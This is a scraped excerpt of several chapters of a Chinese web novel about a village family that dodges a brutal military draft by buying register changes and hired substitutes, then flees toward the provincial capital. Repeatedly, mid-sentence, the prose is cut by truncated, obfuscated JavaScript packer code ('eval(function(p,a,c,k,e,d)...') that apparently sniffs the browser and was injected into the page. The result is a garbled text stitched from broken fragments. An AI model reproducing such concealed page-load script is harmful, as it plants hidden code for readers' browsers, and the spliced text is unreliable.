怎么又来兵役?” “徭役咱们村子都**几十人,这兵役难不成是要让咱们村子死绝了吗?” “天杀的!就不能给我们留条活路吗?” “怪不得山岱省那边的百姓反了,这日子过不下去,可不就得反?” “这话可不敢乱说,山岱省那边还人相食呢!你敢吃啊!” “真要是逼急了,什么事不敢干?” “这兵役谁想服谁服,反正我是不想去了!上次的徭役我就是捡了一条命回来的,回来的时候,我都瘦成皮包骨了,也就最近好不容易恢复了些,再去服兵役,指定是回不来了……” “哎……除非是带着一家人躲进深山,不然这县衙的命令下来,是你能躲得掉的?” “拒服兵役,是要上断头台的。” “村长,您儿子不是在衙门里做事吗?能不能让顾雍大哥给我们求求情……” “是啊是啊……” …… 忧愁。 遍布了所有人。 无独有偶。 哪家都逃不掉。 方子期的目光盯着眼前的县衙符牒,嘴角不由得跟着抽了抽。 他早就知道这兵役肯定是要下来的,只是没想到来得这么快。 而且…… 这抽得真太狠了! 以往都是三丁抽一,六丁抽二的…… 独丁是绝无可能抽的! 但是现在二丁就要抽一个! 独丁只要有儿子的,也要抽! 疯了! 这是要一次性征召多少新兵? 这晋王的左骑军难不成要一次性扩兵百万不成? 如此疯狂的扩兵计划,也让方子期感知到这山岱省的战事恐怕已经糜烂了! 极有可能朝廷大军在山岱省被叛军打得丢盔弃甲。 所以山岱省的当权者——那位晋王才会如此丧心病狂地扩充兵力,以图自保。 常年不经战争的内地军队,如何能够同那些凶神恶煞的叛军对抗? 此局,解不了。 除非调动北方的边军南下平叛。 但是北方的**又不是死的…… 山岱省的叛乱…… 一旦延伸到了山岱省外…… 那将彻底一发不可收拾了。 “子期!” “按…按照这个征兵条例,我…我是不是也要服兵役?” 三叔方叔信突然有些结巴道。 第134章 一千斤粗粮,就是一条人命 螺旋镖直接无差别地打过来了。 因为方家早就分家了。 所以名义上算是四家了。 爷爷方守义和奶奶柳氏是一家,但是征兵征不到他们头上去。 大伯方伯山是秀才,可以免除兵役。 至于方子期家,他和他爹都是秀才,所以也不用管兵役的事。 至于三叔方叔信,他家就一个成年的男丁,但是有一个儿子,所以符合【一丁若有子抽一】的征兵要求。 如此一来。 他三叔方叔信也是要服兵役的。 之前的徭役,方叔信用五两银钱给顶了,所以未曾服役。 当得知去的人伤亡了三分之一后,方叔信一阵庆幸,还好他二哥还有侄儿子期提前叮嘱过他,让他不要怕浪费银钱! 若非如此,自己就算是死不了,也得脱层皮。 只是千躲万躲,还是没能躲掉这兵役! 等众人散场后。 情绪都很低落。 方子期默默找到了顾雍。 “顾叔。” “兵役之事,当真就一点办法都没有了吗?” “城内的大户,也会去服役?” 方子期直截了当道。 这个世道,啥时候上下一致了? 顾雍作为衙门的文书,对于这些门路多多少少还是有些了解的。 “城内的大户……” “会寻找一些穷苦人家的成年男丁,然后去衙门改户籍文书,将这些成年男丁变成自家的,然后代替他们去服兵役。” “不过……” “要花费不少银钱。” “一个名额……没有十几两银子拿不下的。” “在衙门里,那些负责户籍的衙役担着风险,自然想着趁机大捞一笔。” 顾雍连忙道。 “原来如此……” 方子期点点头。 看来还是有活动的空间的。 一个名额十几两银子虽不少。 但是同身家性命比起来,倒也算不得什么了。 不过这十几两银子只是打点衙门里户房胥吏的,要想再找到一个愿意配合你改户籍的成年男丁,并且还能让他去服兵役,自然又需要一大笔银钱。 方子期的目光看向三叔方叔信。 “子期!” “只要有门路就好!” “花费些银钱也是值当的!” “你三叔虽比不得你爹的身家。” “但是这些日子,靠着卖红烧肉和卤肉,也挣了一些。” “再说了,不是刚卖了田地?” “这点银钱三叔还是有的!” 方叔信此刻忍不住跟着松了口气。 有门路能够躲掉兵役就好。 花点银钱问题不大! “顾叔。” “秀才能够免除两人徭役兵役之事,还作数吗?” 方子期再度询问道。 “这是自然!” “子期!” “你和你爹完全不必担心。” “你家现在两个秀才,这兵役无论如何也轮不到你家头上。” “不过……子期你也别想着将旁人的户籍改到你家,然后以此躲避兵役了。” “这一次限制地很严。” “严格规定。” “有功名的家庭,户籍人口想要变动,必须要通过层层审核!” 顾雍看了方子期一眼,当即就明白方子期心中究竟作何想法。 方子期无奈摊手。 本来他还想着,干脆将他三叔或者是三叔家的小堂哥方绍永的户籍改到他家,这样不就不符合【一丁若有子抽一】的兵役条件了? 没想到这也有限制。 各种条条框框的限制还真不少。 稍晚些时候。 村长顾苍带着族长方文泰在村子里挨家挨户进行通知可以操作改动户籍之事。 只是改动一个名额动辄就要十几两银子,再加上寻人帮忙顶兵役又至少需十几两银子。 也就是说。 想要操作一次,没个三十两银子是不可能的。 柳溪村又不是什么太富裕的村子。 大多都是锄地汉子,哪来的三十两银钱去改动户籍? 这也是村长顾苍不曾当众宣告可以改动户籍的原因。 不患寡而患不均。 你家有银钱能改动户籍,我家就不行? 到时候相互之间因此生怨没必要。 这样一家家地通知,虽麻烦了些,但至少安全性提升了不少。 当夜。 三婶王氏就回了一趟娘家。 次日下午归来时。 三婶王氏虽然脸上满是倦容,但嘴角至少是上扬的。 “事情解决了。” “在我娘家那边,寻了个穷苦人家的汉子,也姓王,今年四十二岁。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽说那二女儿方秀云不是个东西,就知道在娘家搞窝里横。 但到底是自己的骨血。 生死面前。 难不成还能看着自己女儿**啊! 在老爷子的安排下。 三叔方叔信和方仲礼去了一趟大姑方玉茹和二姑方秀云一趟,将他们叫回了家。 大姑方玉茹嫁去了小叶村,大姑父周明远是个锄地汉子,看起来老实巴交的。 婚后,生了一儿一女,大儿子周守业,今年二十一岁,已经娶亲了,小女儿周晚意,今年十五岁,也到了该相看的年纪了。 日子过得虽然清贫,倒也本分。 在方子期的印象中,大姑方玉茹每次回家,都要给他塞一些糖果吃。 农家清贫,但是方玉茹每次归家,都会买一刀肉回来。 今时,亦不例外。 至于二姑方秀云…嫁的是镇子上的小商户陈景行,倒是不提也罢…… 在婆家立不起来,倒是在娘家横得很,自从上次归家闹了一场被老爷子方守义臭骂了一次后,倒是一直没回来过。 “爹!娘!” “二弟!三弟!” “弟妹……” “子期……” “上次见你还是过年呢!” “十多个月没见!我家子期生得越发俊俏了。” “来!” “让大姑抱抱!” 大姑方玉茹走上前,伸手将方子期抄了起来,抱在怀中,好一阵怜爱。 偷摸的,大姑方玉茹还往方子期的口袋里面塞了两块糖。 “可别叫旁人看见了!大姑没有那么多!” 方玉茹附在方子期耳边小声嘀咕道。 方子期无奈苦笑。 这大姑…倒是真性情! “玉茹!” “快将子期放下!” “子期现在都是秀才公了!” “哪能说抱就抱的!” “等以后子期有了官身,咱们见面可都要磕头的!“ 大姑父周明远憨笑着走上前道。 大姑父周明远长得颇为魁梧,个头估摸着有个一米七五,在这个年代,已经算是大高个了。 “娘!” “爹说得是!” “表弟都是秀才老爷了!” “以后可不能随便乱抱!” “传出去叫人笑话!” 大表哥周守业继承了大姑父周明远的大高个,而且青出于蓝而胜于蓝,估摸着已经上了一米八。 长相随了他爹,年纪轻轻的,脸上居然都开始长络腮胡了。 大表哥周守业说话间,从大姑方玉茹手中将方子期给抱了下来。 “咿咿呀呀!” 突然传来一道孩童的叫喊声。 只见一旁,一个约莫两三岁的孩子兴奋地拍着巴掌,兴致盎然地盯着方子期看。 这是方子期大表哥周守业的儿子,今年三岁,未取大名,只取了个狗蛋的贱民,此刻大表嫂曹氏正在那里局促地抱着。 “狗蛋!” “快叫表叔!” “你表叔可是顶顶有才的神童!” “将来你要是有你表叔一半…不…十分之一聪明!就够了!” 大表哥周守业摸了摸脑壳,憨厚地笑着。 大姑一家人回来。 倒是一片祥和。 欢声笑语接连不断。 约莫半个多时辰后。 二姑方秀云一家也回来了。 走在最前面的,是二姑夫陈景行,方秀云稍后一些,再后面就是两个女儿陈麦香和陈禾穗…… “岳父岳母……” “大姐大姐夫也回来了。” “二哥二嫂……” “子期!” “前几日我就听说二哥和子期都高中院试!” “我本就想来祝贺。” “但就怕打搅到二哥和子期,一直不敢来。” “今日三哥到我家,我才敢带着秀云归家!” “二哥!子期!” “恭喜高中啊!” “照着子期这天赋,将来恐怕都得高中进士!” “到时候二哥可就是老太爷了!” 二姑夫陈景行一张嘴倒是惯会说的。 二姑方秀云此刻略显地有些尴尬地走过来。 “二哥。” “二嫂。” “之前是我嘴笨!” “你们也知道,我没坏心的,我就是这张嘴总是控制不住。” “下次我若是再乱说话,你们尽管打我嘴就是了!” 方秀云先是道了个歉,随即又跑到老爷子方守义和老太太柳氏面前好一顿哀求。 “哼!” “若非有事,我是断然不会让你进家门的!” “你这个惹祸精!” “若是再敢惹事,休怪我不客气!” 老爷子方守义瞪了一眼方秀云,随即众人都入了家门。 紧跟着将举家搬迁的事情说了一通。 众人脸色各异。 “岳父岳母。” “按照兵役规则,我同守业是要出一个人去服兵役的。” “这怎么好走……” 大姑父周明远叹了口气。 他家两个成年男丁,按照规定是,是要出个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“狗蛋才三岁,表哥,你想清楚了!” 方子期说了一大通。 家里几个亲戚中。 方子期也就感觉大姑对他最亲了。 所以有些话,他必须说。 第136章 没钱?卖地就好了 “子期,真…真这么严重?” 咕咚…… 大表哥周守业目光中透着一丝惊慌。 “表哥,我没必要恐吓你。” “表哥,你自己说的,信我。” 方子期坦然道。 “信!” “当然信!” “表弟你放心!” “我爹那,我来搞定!” “他要是不同意,我就偷了地契去卖,等生米做成熟饭,他反对也没用了!” 大表哥周守业摸了摸脑壳,憨厚的脸上露出一丝狡黠。 方子期忍不住笑了笑。 他这表哥,有点意思。 虽然表面上看着络腮胡子遍布脸上,再加上一米八的个头和魁梧的身躯,活像个黑熊精,但…为人老实憨厚,这一点倒是同他大姑父差不多。 同大姑父不同的是,他这大表哥脑子还算活泛,不认死理,知道变通。 大姑父这边搞定了…… 至于二姑夫陈景行,此刻一脸为难。 “咳!” “岳父岳母,不瞒你们说。” “我们家没分家,我大哥家有两个小崽子也都过了十六岁,加上我大哥还有我……” “总共四个男丁。” “我大哥的意思是,我必须要去服兵役……” “这不服兵役虽有门路,但是三十两银子…我这…这实在不凑手。” “不知道岳父岳母能否……” 陈景行眼珠子转了转,这是来借钱了。 方子期不动声色地在一旁看着。 陈景行刚说完,二姑方秀云就在那哭天抹泪了。 “爹娘!” “就因为我没生出儿子来,在老陈家处处受排挤!” “连带着景行也吃瓜落。” “我那公婆,现在只知道大房,根本不在意我们二房……呜呜呜……” “景行在时,尚且如此,景行真要是去服兵役了,我同麦香和禾穗可怎么活啊!” “爹娘!” “无论如何,你们要帮衬女儿这一次!” “大恩大德!女儿永远铭记!” 方秀云哭得那叫一个凄惨。 奶奶柳氏此刻都有些心疼了。 这小女儿本就是她疼爱长大的。 现今如此,实在不落忍。 倒是老爷子方守义仍旧面无表情。 “现在这年成,谁家有余钱?” “日子过不了,分家就是了。” “刚好可以顺便卖了田地!” “还有你老陈家在镇子上开的那个杂货铺,总还能抵些银钱!” “反正门路已经在这里了。” “你们要不要走,那是你们的事!” “你们自己性命攸关的事情,自己不上心,还想着回来敲打我们?” “哪来的这些美事?” 老爷子方守义一锤定音。 二姑夫陈景行脸色灿灿。 二姑方秀云还想说些什么,被陈景行一个眼神瞪回去了。 本想空手套白狼。 既然没套到。 那就只能孤注一掷了。 “爹!” “到时候真要分家,还要劳烦您和二哥帮衬帮衬才是。” 陈景行此刻也已经动了分家的念头了。 要不要举家迁移,这事暂且不提。 但是这兵役万万是不能服的。 既然有花钱就能免掉兵役的事情,那自然要践行到底才是! 至于这个家…… 早该分了! “这事你放心!” “你再如何,也是我女婿。” “我还能向着外人不成?” “真要分家!” “你爹娘若还是偏心你大哥,我自当会说话的。” 老爷子方守义点点头道。 大姑和二姑一家留下礼物,说完话就走了。 现在这时候,自然也没了继续闲谈的心思。 第二天。 方仲礼带着苏静姝和方子期去了一趟兰谷村。 这举家迁移的事情,自然要同外公外婆商议商议。 当方子期等人进门的时候。 苏家人显得格外热情。 就连大舅母管氏和二舅母徐氏都对方子期好一通夸奖,显得十分热络。 上一次方子期来外公家的时候,这两个舅母虽没什么冷脸,但也算不上多热情。 看来这秀才公的名头还是挺管用的。 方仲礼没废话,直接将兵役、叛军等事情给说了一遍。 “你们地都卖了?” “当真要举家迁移?” “去省城?通衢府?” “你们想好了?” “这要是走了,可就没回头路了啊!” “去通衢府,人生地不熟的,那省城物价又高,到时候吃什么喝什么……” 吧唧吧唧…… 苏老汉皱着眉头,抽起了老旱烟,此刻忍不住重重地叹了口气。 “外公!” “大舅二舅!” “你们都是铁匠!” “这打铁的技术到了省城也是吃香的!” “战争年代。” “最缺铁器!还怕铁匠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关键时刻是真顶用。 第137章 阎王好见,小鬼难缠 将外公家的事也敲定后。 方子期发现自家娘亲脸上的忧虑明显少了许多。 这几日,日日可都睡不着。 现在可算能睡个整觉了。 等众人都找好了替兵役的人,又准备好了足够的银钱。 方子期在顾雍的带领下去了一趟县衙,来到户房。 没想到户房门口居然还要排队进入…… 想要来更改户籍的人实在是太多了…… 但凡前来更改户籍者,基本上都是身穿锦袍的,而被带着前来更改户籍者,大多面带菜色,神色恍惚。 能拿着三十两银钱找替代兵役者,大多条件都不差,基本上都是富户。 而那些替代富户参加兵役者,大多都是穷苦人家的男丁。 这些人不是不知道参加兵役九死一生,但是他们仍旧如此去做。 因为有了这些银钱,他们的家人就有一口饭吃,就能在这混乱的世道活下去! 方子期默然一叹,心中虽有感伤。 然,在没有能力改变这个世道之前,只能护着家人,顺着这个世道走下去。 方子期等人老老实实地排队。 等轮到他们的时候,交上银钱、户籍文书。 负责户籍管理的户房书吏此刻一副极端不耐烦的表情。 “不够!” “涨了!” “一个名额二十两银子。” 户房书吏王忠实冷着脸道。 “什么?” “昨日不还是十五两银子?” “老王!” “这些可都是我的亲眷!” “帮帮忙!” 顾雍脸色一变,连忙塞了一个二两小银锭过去。 “老顾不是我不帮忙。” “只是这规矩不是我定的。” “上面的大人们拿的才是大头。” “典吏就这规矩。” 书吏王忠实摇摇头,直接将二两银子给退回去了。 “子期!” “果真是你!” “刚才下人说你来了。” “我还不信呢!” “你来县衙也不来找我!” 花允谦大踏步走了过来,脸上挂满笑容。 户房的胥吏见到花允谦纷纷行礼。 “我带乡亲们过来改一下户籍文书。” 方子期坦然道。 “哦?” “原来如此……” “那你们好好帮子期办理!” “子期可是我的知己兄弟!” 花允谦瞥了一眼书吏王忠实,王忠实满脸堆笑。 心中却在埋怨,你既有如此后台,刚才怎么也不提一嘴啊! 有花允谦过来打了个照面,事情就好办多了。 虽然花县令马上就要升任到其他地方去了。 但现在到底还是县令。 这些个胥吏不可能在这个紧要关头去得罪花县令。 当户籍文书改好后,方子期将银钱递送过去。 按照一个人头十五两银子。 “这如何使得!” “方小相公!” “您是花少爷的朋友,刚才是王某有眼不识泰山了!” “这些银钱,方小相公还是收回去吧!” 书吏王忠实挤出一个比哭还难看的笑脸。 这钱落到他口袋里的不多,现在给方子期带来的这些人免了银钱,回头他就要自己掏腰包给补上了。 “该是怎样就是怎样。” “多谢王书吏帮忙了。” 方子期拱手道。 阎王好见,小鬼难缠。 这些个胥吏,万一在户籍文书中做些手脚,到时候哭都来不及。 既来了县衙,索性连大家的路引都一并开好了。 省得到时候还要麻烦。 等到这些杂事都解决好后。 方子期才有时间同花允谦交流几句。 “子期!” “看你这架势,是要马上走了?” 花允谦一副恋恋不舍的表情。 “嗯!” “就这几天了。” “回头我就要去通衢府了。” “允谦兄,花县令的任职地点定了吗?” 方子期道。 “暂时还没大定。” “不过他已经在找门路,准备往南方跑了。” “就算去不了通衢府,去个没有战乱的小县城继续当县令也是好的。” “子期!” “回头我爹这边稳定了,我就去省城寻你!” “到时候咱们还一起读书!” “子期!” “没你陪着读书,我可怎么活啊!” “压根一点兴致都没!” “跟着子期你读书就不一样了,就算是混日子,但是只要看到方叔和子期你都在苦读,我也就不由自主地拿起书本了。” 花允谦嘟嘟囔囔说了许多。 最终汇成一句话:“各自珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按照花允谦所说,他爹刚好拿着这笔不义之财去给自己找门路去了。 第138章 恨铁不成钢,出发在即 从县衙回到柳溪村。 已议定好了三日后出发前往通衢府。 到时候非但是方子期一家,他爷爷奶奶、三叔三婶还有大伯一家都跟着一起。 至于那个孙员外,又特地带着礼物来了一趟,说什么也要跟着方家的队伍一起走。 当日,老爷子方守义特地带着方仲礼和方子期去了一趟镇子上二姑家。 因为二姑家真的要分家了。 之所以带上方仲礼和方子期……主要也是他们都是秀才,去壮声势去的。 “亲家!” “他二哥!” “子期!” “都来了!” “亲家,你可是好福气啊!” “子孙都中了秀才,将来就等着享福吧!” 陈家婆母周氏笑着在一旁打招呼道。 至于一旁的陈老头则是一直抽着烟,不怎么说话。 家里闹着分家,可不是什么光彩事。 “我今天过来没什么意思。” “就是来过一眼。” “既要分家。” “想必亲家公和亲家母都能秉持着公平正义来。” “毕竟这手心手背都是肉。” 吧唧吧唧…… 老爷子方守义沉声道。 接着就进入正题了。 “田地三十二亩,老大家分二十亩,老二分十二亩!” “银钱还有差不多三十七两,我们老两口拿十七两当体己钱,老大老二各分十两。” “老大分田多一些,今后我们跟着老大过活,没意见吧?” 陈家婆母周氏的一双眼珠子四处横扫,透着如同黄鼠狼般的机灵。 陈家大嫂孙氏皱了皱眉头,显然对这个分法仍旧还不怎么满意。 哪怕他们大房已经占了极多,但是人心不足蛇吞象…… 至于二姑夫孙景行,脸色直接就垮了。 “这太不公了!” “你们二老既跟着大哥,田地多分一些,我能理解,但是银钱你们二老拿走十七两,你们二老能用的掉这么多钱?到最后不还是贴补了大哥?” “还有这杂货铺的货物,货物加上门头,总还能抵个几十两银钱吧?” “这些都不算了?” “真要是这么分,那干脆爹娘以后跟我。” “我分大哥十二亩田地,那三十七两银钱,我一分都不要,全给大哥!” 陈景行当即大叫起来。 陈家大嫂那边,此刻也不安分地叫唤起来:“吆!二弟倒是好算计!” “怎么?” “你就这么不为自己两个侄儿着想?” “那可是你的亲侄儿啊!是咱们老陈家的血脉!” “这眼瞅着你这亲侄儿都要成婚了,用银钱的地方还多着呢!” “我们又不像你们,只有两个丫头片子,花不了什么钱,说不定还能进项!” 陈家大嫂周氏阴阳怪气道。 一时间。 吵闹声不断。 方子期在看戏。 让他无语的是。 都这个时候了。 他这个素来以‘凶悍’著称的二姑方秀云居然一句话都不说,屁都不敢放一个。 就这? 在婆家就这德行?在娘家就能狠声狠气的? 方子期一阵无语…… 怪不得老爷子方守义每次提起这个女儿总是一副恨铁不成钢的表情。 啥也不是啊。 吵也吵了。 闹也闹了。 老爷子方守义咳嗽几声,无奈地瞥了一眼方秀云,随即看向陈家众人。 “自古以来,大房多分一些,无可厚非!” “毕竟老父母最后都是要跟着大房的。” “可分家,也不能过了度!” “否则说不得也要去县衙打个官司,让县令老爷来断断案!” “我家子期还是那位花县令的门生,同花县令的儿子也相熟,前段日子,那位花县令还特地去柳溪村给子期送喜报呢!” “我见这花县令是个公道人。” “若是自家分家分不好,就去公堂上分!” 老爷子方守义三言两语的,直接将陈家众人搞得脸色骤变。 好好好! 你这话明摆着不就说,我家有县令做靠山,你们要是分家不公,干脆就去县衙分! 去了县衙还能有好? 官字两张口,有口无钱你莫进来! 更何况,他们也确实无理就是了。 “仗着家里有几个秀才,了不起啊!” 陈家大嫂周氏忍不住低声嘟囔,老爷子方守义听见了,直接冷眼看过去。 “怎么了?” “家里有几个秀才就是了不起!” “不然你家也出几个秀才?” 老爷子方守义沉声道。 眼看着氛围越来越差…… 陈老头咬了咬牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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目标:通衢府 看着大青骡车越行越远。 方秀云忍不住咬紧牙关。 “孩子他爹。” “咱们现在既分了家,有了银钱又有田地。” “总能将日子过好的。” “要不然就不走了吧?” “反正现在你也不用服兵役了。” “来回折腾干啥?” 方秀云咬着牙,此刻倒是出声了。 以前没分家,整日里被婆母和大嫂挤兑,日子过得不舒服,走了也就走了。 现在好不容易当家做主人了,她又不想跑了。 “你是这样想的?不走了?” 陈景行郑重其事地询问道。 “嗯!不走了!” “背井离乡的没这个必要,去了省城,说不定日子更差!” “眼看着麦香也到了十五岁了,也该想着相看了。” “在镇子上,咱们也熟门熟路的,给麦香找个好婆家也容易,去了省城,这麦香的婚事怕就是要耽搁下来了。” 方秀云随之还给出了理由。 “好!” “你说不走……” “那就一定要走!” “我这就去卖了地!” 陈景行颔首道。 “这就是了,孩子他爹…嗯?” “孩子他爹,你说啥?” 方秀云一惊,还以为自己听错了。 陈景行瞥了方秀云一眼。 “你觉得是你聪明还是你侄儿子期聪明?” “你能考上秀才吗?” “原本我也犹豫,听你这么一说,倒是豁然开朗了!” “你这蠢妇能有什么好意见?” “快回家收拾收拾吧!” 陈景行大手一挥,下定决心。 …… 搬家实不容易。 就好比方家。 这个舍不得扔,那个也舍不得丢。 搞到最后,一大堆东西…… 但是方家现在就一辆牛车和一辆骡子车。 加上他大伯的一辆骡子车,能装的东西实在有限。 牛车是他三叔方叔信为了卖红烧肉方便,特地购置的。 最后还是老爷子方守义发了话,带些衣服就好,至于瓶瓶罐罐的,都留下。 第三日天还没亮。 方家一家人就起来了。 简单收拾了一下,吃过早食,就准备往省城的方向赶去。 此行一起走的。 除了方家众人外。 还有方虎一家子。 不过方虎一家子加上方虎就三个人。 方虎、方虎的妻子**,还有方虎的儿子方大牛。 方虎的妻子**是个话不多的中年妇女,但是一见到方子期总要夸几句状元郎,有出息…… 至于方虎的儿子方大牛,继承了方虎的虎背熊腰,看起来健壮得很,虽才十七岁,但是个头不比方虎矮了,搬起百十来斤的粮食脸不红气不喘的,还能笑呵呵地开几句玩笑。 至于村子里其他人家…… 要背井离乡的,拢共不过五六家。 大多都打算去投奔亲戚。 只有方子期的发小赵满仓还有方砚秋一家,打算跟着方子期一家一起去省城。 “汪汪汪!” 骡车旁,传来欢快的犬吠声。 族犬阿黄带着自己的独子吉祥甩着尾巴跟了过来。 原本方家是准备收养吉祥这只幼崽的。 但是方子期实在看不得阿黄同自己的独子分离。 毕竟他们这是去逃荒,指不定啥时候才能再回来了。 所以方子期特地去找了一趟族长,直接就将此事敲下了。 让阿黄和吉祥一起跟着他们走。 路上有两条狗负责警戒,也能安全不少。 方子期家、方虎家、赵满仓家、方砚秋家…… 四家一起行动。 朝着镇子上赶去。 “子期!” “真好!” “咱们一起去逃荒!这样我就能一直跟你在一起了!” 赵满仓迈着小短腿小跑过来,手上拿着个肉包子,吃得满嘴流油。 “子期!你吃吗?” 赵满仓将剩下的半个包子递过来。 “我不饿。” 方子期摸了摸阿黄的狗头,笑道。 “好吧!那给阿黄吃!” 赵满仓将剩下的包子揪下一半来喂了阿黄。 阿黄叼着肉包子放到吉祥嘴边,看着吉祥吃得浑身抖动的样子,阿黄的狗脸上也露出慈母般的笑容。 “你这阿黄!就知道宠孩子!” 赵满仓叹了口气,纠结了一下,随即将手中剩下的一点包子强行塞到阿黄的狗嘴里。 一行人来到镇子上。 很快就接驳上了他大姑方玉茹一家、他外公苏老汉一家还有他大伯一家…再加上一个孙员外…… 队伍逐渐壮大。 看着倒像是那么回事了。 “你小妹还没来吗?” 老爷子方守义沉着脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到时候一大家子都留下,岂不是真要被一锅端了? 第140章 孙员外:我想梭哈 “爷爷,放心吧。” “自古以来,农民起义都长久不了。” “农民起义有其独特的历史局限性。” “可能闹腾个几年,这边太平了,就又能再回来了。” “所以现在可得养好了身体才是!” 方子期宽慰道。 言外之意是,你要是不保重身体,万一死在外头就完犊子了,可就没机会落叶归根了。 “是这样!是这样!” “朝廷大军迟早要将**的都砍了脑壳!” “好端端的,造什么反啊!” 老爷子方守义嘟囔道。 方子期摇摇头,也懒得多说什么。 若非日子真过不下去了,谁愿意**? 老百姓是最好糊弄的了。 但凡野菜、树皮够吃,他们都不会反。 也唯有到了易子而食、人相食的地步,是真的活不下去了,才会将脑袋拴在裤腰带上来一句:“王侯将相宁有种乎!” 所谓的王侯将相…… 又有几人? 大部分参加叛军或义军的百姓所求的不过就是一餐温饱罢了。 朝堂之上的衮衮诸公自然无法体会到数日滴米未进,然后吃观音土吃到腹胀……疼得人蜷缩在地打滚,不曾缓过劲来时,无尽的恶心感又将涌上喉咙。 酸水混着土渣呕出来,就连呼吸都带着强烈的土腥味。 那五脏六腑就像是被撕裂了一样…… 而对那些居庙堂者而言,可能也就是几句‘饥民误食’或是‘何不食肉糜’打发了。 真要是让那些达官显贵也吃几天观音土,他们反得比谁都快。 …… 车队朝着省城方向缓缓行进。 因车马有限。 所以除了老人孩子外,大多数人还是要步行的。 就算是孩子,也是轮番上车休息。 在禾阳县内倒是还好。 但是出了禾阳县外后…… 一路上逃荒的人突然多了起来。 看来这‘聪明人’到哪都不少。 看其他逃荒人行进的方向,大概也是省城通衢府。 “子期!” 孙员外戴着瓜皮帽,牵着**宛禾笑呵呵地走过来打招呼。 “孙叔。” 方子期默然颔首,点头道。 对于这个一门心思就想着讨好他的孙员外,方子期并不太反感。 毕竟这个孙员外做事情还是很有分寸感的。 逾越规矩的事情他不会做。 先前倒是一直想让自家**宛禾同方子期定下婚约,但是被方子期拒绝了两次后,也就是方子期中了院试榜首后,这孙员外就一次没提过了。 只是这孙员外每次来见方子期的时候,总是习惯性地将**宛禾带上。 其意自然很明显了,就想着让自家**宛禾能同方子期处好关系,搏一个青梅竹马的机会。 方子期看得通透。 却也没说什么。 水至清则无鱼。 人亦然。 太精明了也不好。 “子期啊!” “这一次孙叔真要承你人情了!” “你是不知道!” “我将家当卖完不到三天……” “那家宅田地的价格就直接跌了一小半。” “还好有子期提醒,我将产业卖的早。” “不然还不知道要亏掉多少银钱!” “子期!” “你可是我老孙家的贵人啊!” “回头去了省城,你我两家可得好好亲近才是!” 孙员外脸上挂着习惯性的讨好笑容。 直接卖了个好给方子期。 将自家宅院田地能卖上高价的原因都归咎于方子期身上,上赶着要让自己欠下方子期的人情。 这家伙……当真是个人精。 “孙叔客气了。” “举手之劳罢了!” “照这般说,那孙叔常来我家送礼,我家又当如何偿还啊?” 方子期微微一笑道。 孙员外心中一叹。 这子期……别看着人小,但是这脑子转得是真快啊。 别说是一般的大人了,就算是他这样的老狐狸,在为人处世方面有时候都感觉有些赶不上。 这就是个小人精啊! 怪不得八岁就能中院试案首! 果然不凡! 孙员外现在就是想在方子期身上砸银子。 有多少砸多少的那种。 如果方子期需要,他甚至能够直接梭哈…… 于他而言,这就是稳赚不赔的买卖啊! 奇货可居啊! 他孙世昌!亦想当一次吕不韦! 那吕不韦不就是靠着奇货可居,最后官拜相国几十年吗? “子期!你这说得什么话,那些俗物算得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵满仓:我真不馋 方子期一言出,孙员外面容一紧。 “都打去汇川府了?” “府兵都败了……” “这要是再不加以钳制,接下来不就直扑宁江府了吗?” “若是宁江府的府兵也败了……” “直接南下……” “通衢府……” “嘶!” “子期!” “我懂了!” “多谢指点!” “子期!其他的我不知道,但是我知道一点,那就是你去哪我去哪,你可千万别甩了孙叔自己一个人走啊!” “孙叔这辈子没求过人,今天孙叔求你了!” “无论子期你去哪!一定要带上孙叔啊!” 孙员外一脸的情真意切。 此刻就差一把鼻涕一把泪地恳求了。 “放心吧孙叔。” “我若走,定叫上你。” 方子期无奈道。 